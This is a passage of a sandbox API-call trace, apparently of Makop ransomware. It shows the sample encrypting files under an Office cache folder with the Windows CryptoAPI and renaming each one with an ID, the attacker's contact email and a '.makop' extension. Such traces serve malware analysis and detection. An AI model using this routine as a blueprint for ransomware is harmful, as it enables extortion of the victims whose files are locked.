CryptDestroyKey (hKey=0x48c7128) returned 1 [0077.371] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.371] SetEndOfFile (hFile=0x130) returned 1 [0077.381] GetProcessHeap () returned 0x48a0000 [0077.381] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0077.381] GetProcessHeap () returned 0x48a0000 [0077.381] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0077.381] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 127 [0077.381] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0077.401] CloseHandle (hObject=0x130) returned 1 [0077.401] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0 [0077.401] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0077.401] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0077.402] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0077.402] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0077.408] GetProcessHeap () returned 0x48a0000 [0077.408] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0077.408] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0077.408] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0077.408] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xb, lpOverlapped=0x0) returned 1 [0077.412] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0077.412] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0077.412] GetProcessHeap () returned 0x48a0000 [0077.412] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0077.412] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0077.413] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0077.413] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0077.413] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0077.413] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0077.413] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0077.413] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0077.413] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0077.414] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0077.414] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0077.414] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.414] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x91975, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x91975, lpOverlapped=0x0) returned 1 [0077.436] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x91980, dwBufLen=0x91980 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x91980) returned 1 [0077.442] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.443] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x91980, lpOverlapped=0x0) returned 1 [0077.447] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0077.447] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x91a54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.447] SetEndOfFile (hFile=0x124) returned 1 [0077.455] GetProcessHeap () returned 0x48a0000 [0077.455] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0077.455] GetProcessHeap () returned 0x48a0000 [0077.455] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0077.455] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0077.455] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0077.463] CloseHandle (hObject=0x124) returned 1 [0077.463] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0077.463] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 [0077.463] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0077.463] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0077.466] GetProcessHeap () returned 0x48a0000 [0077.466] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0077.466] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0077.466] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0077.467] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0077.467] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0077.467] GetProcessHeap () returned 0x48a0000 [0077.467] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0077.467] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0077.467] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0077.467] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0077.471] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0077.472] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0077.472] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0077.472] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0077.472] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0077.472] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0077.472] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0077.473] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.473] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x80760, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x80760, lpOverlapped=0x0) returned 1 [0077.490] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x80760, dwBufLen=0x80760 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x80760) returned 1 [0077.496] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.496] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x80760, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x80760, lpOverlapped=0x0) returned 1 [0077.593] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0077.593] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x80834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.593] SetEndOfFile (hFile=0x124) returned 1 [0077.600] GetProcessHeap () returned 0x48a0000 [0077.600] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0077.600] GetProcessHeap () returned 0x48a0000 [0077.600] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0077.600] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0077.600] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0077.601] CloseHandle (hObject=0x124) returned 1 [0077.601] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0077.601] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="MICROS~1.MAN")) returned 1 [0077.601] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0077.602] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0077.616] GetProcessHeap () returned 0x48a0000 [0077.616] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0077.616] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0077.616] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0077.616] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xf, lpOverlapped=0x0) returned 1 [0077.620] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0077.620] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0077.620] GetProcessHeap () returned 0x48a0000 [0077.620] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x60) returned 0x48caf80 [0077.621] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48caf80*, pdwDataLen=0x6579510*=0x60, dwBufLen=0x60 | out: pbData=0x48caf80*, pdwDataLen=0x6579510*=0x60) returned 1 [0077.621] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0077.621] WriteFile (in: hFile=0x124, lpBuffer=0x48caf80*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48caf80*, lpNumberOfBytesWritten=0x6579528*=0x60, lpOverlapped=0x0) returned 1 [0077.621] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0077.621] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0077.621] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0077.621] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0077.622] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0077.622] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0077.622] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0077.622] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.622] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x741, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x741, lpOverlapped=0x0) returned 1 [0077.623] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x750, dwBufLen=0x750 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x750) returned 1 [0077.623] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.623] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x750, lpOverlapped=0x0) returned 1 [0077.624] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0077.624] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.624] SetEndOfFile (hFile=0x124) returned 1 [0077.631] GetProcessHeap () returned 0x48a0000 [0077.631] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48caf80 | out: hHeap=0x48a0000) returned 1 [0077.631] GetProcessHeap () returned 0x48a0000 [0077.631] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0077.631] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 137 [0077.631] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0077.635] CloseHandle (hObject=0x124) returned 1 [0077.636] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0077.636] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0077.636] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0077.637] GetProcessHeap () returned 0x48a0000 [0077.637] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0077.637] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0077.637] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0077.637] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0077.637] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0077.637] GetProcessHeap () returned 0x48a0000 [0077.637] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0077.637] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0077.637] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0077.637] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0077.643] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0077.643] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, 